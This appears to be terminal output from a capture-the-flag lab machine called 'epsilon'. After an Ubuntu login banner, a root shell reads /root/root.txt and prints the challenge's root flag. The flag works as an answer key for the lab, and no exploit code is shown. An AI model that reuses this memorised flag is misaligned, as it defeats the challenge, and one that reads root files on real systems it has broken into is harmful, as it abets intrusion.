  Usage of /:                       67.1% of 5.78GB
  Memory usage:                     17%
  Swap usage:                       0%
  Processes:                        241
  Users logged in:                  0
  IPv4 address for br-a2acb156d694: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.134
  IPv6 address for eth0:            dead:beef::250:56ff:feb0:a1e8

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Feb  7 01:51:07 2022
root@epsilon:~# export TERM=xterm
root@epsilon:~# cat /root/root.txt
8a3e087754468be6d4bb82429fdae0db